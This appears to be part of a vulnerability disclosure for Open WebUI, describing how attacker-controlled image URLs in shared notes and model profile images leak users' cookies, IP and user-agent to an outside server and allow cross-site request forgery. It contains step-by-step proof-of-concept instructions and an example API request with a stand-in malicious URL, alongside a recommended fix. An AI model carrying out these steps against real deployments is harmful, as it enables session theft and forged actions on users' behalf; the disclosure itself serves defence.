Details
- Refresh page and notice the request being sent to the malicious URL
- Share note and copy link
Step 5: View Note on Valid Account
- Log into a valid account
- Open the shared note
- Notice the GET request sent to the malicious URL from the hidden image on the page
<img width="1597" height="317" alt="image" src="https://github.com/user-attachments/assets/767d865b-04a0-42b9-82fc-122acb9cbf16" />
Step 6: Verify User Information Is Sent
- Verify that user information is sent.
<img width="1997" height="860" alt="image" src="https://github.com/user-attachments/assets/b0ecab88-9830-4fb4-ac18-acda9eb44ff7" />
PoC (model)
Environment
• Open WebUI latest version (v0.6.41)
• Admin user
Step 1: Create a Malicious Link
• Set up a server to obtain victim's cookies, ip, referer, use-agent, etc
Step 2: Create Model
- Navigate to /workspace/models
- Create or edit a model
- Send a POST request to /api/v1/models/create or /api/v1/models/model/update?id=[model_id]
- Change the profile_image_url to the malicious link
- Example parameters:
{"id":"model_test","base_model_id":"redacted","name":"MODEL_TEST","meta":{"profile_image_url":"MALICIOUS_URL_HERE","description":null,"suggestion_prompts":null,"tags":[],"capabilities":{"vision":true,"file_upload":true,"web_search":true,"image_generation":true,"code_interpreter":true,"citations":true,"usage":false}},"params":{},"access_control":null}
<img width="887" height="618" alt="image" src="https://github.com/user-attachments/assets/749dac39-0b9d-4b7e-815d-fd6f3f7c57bd" />
Step 3: View Image on Valid Account
- Log into a valid account
- Create chat with the model
- Notice a GET request is sent to the malicious url
- All users starting a chat with that model will be vulnerable to the attack
<img width="1852" height="468" alt="image" src="https://github.com/user-attachments/assets/ff69c0a2-326d-4b99-9d8c-a73d9aa0deff" />
Step 4: View Image on Admin Account
- Navigate to /workspace/models
- Notice GET request sent to malicious url
<img width="1793" height="482" alt="image" src="https://github.com/user-attachments/assets/bda6e687-ccad-4914-a779-281dc67ffcfe" />
Step 5: Verify User Information Is Sent
- On the set up server verify that improperly set cookies are sent, IP, user-agent, etc.
<img width="1687" height="910" alt="image" src="https://github.com/user-attachments/assets/c783ad50-6701-4df8-8beb-ba0957baa2d9" />
Other Attack Examples
- Alternative malicious links
- Signout of Open WebUI
- /api/v1/auths/signout
- Internal network endpoints
- Signout of other applications
- Resource intensive endpoints
- Etc
Recommended Fix
- Store images
- Instead of sending a GET request to load the image each time, store the image and render on the page
- Validate input
- Image file types should be whitelisted (examples: .jpg, .png, .gif, .jpeg, etc)
Impact
Vulnerability Type
- CWE-352: Cross-Site Request Forgery (CSRF)
- CWE-20: Improper Input Validation
Affected users
- All authenticated users
The impact of this vulnerability is significant. This application-wide vulnerability allows an attacker to perform actions on behalf of any user who views the compromised image. This can be particularly damaging if an administrator or privileged user views the image, as it could lead to elevated access or sensitive data exposure.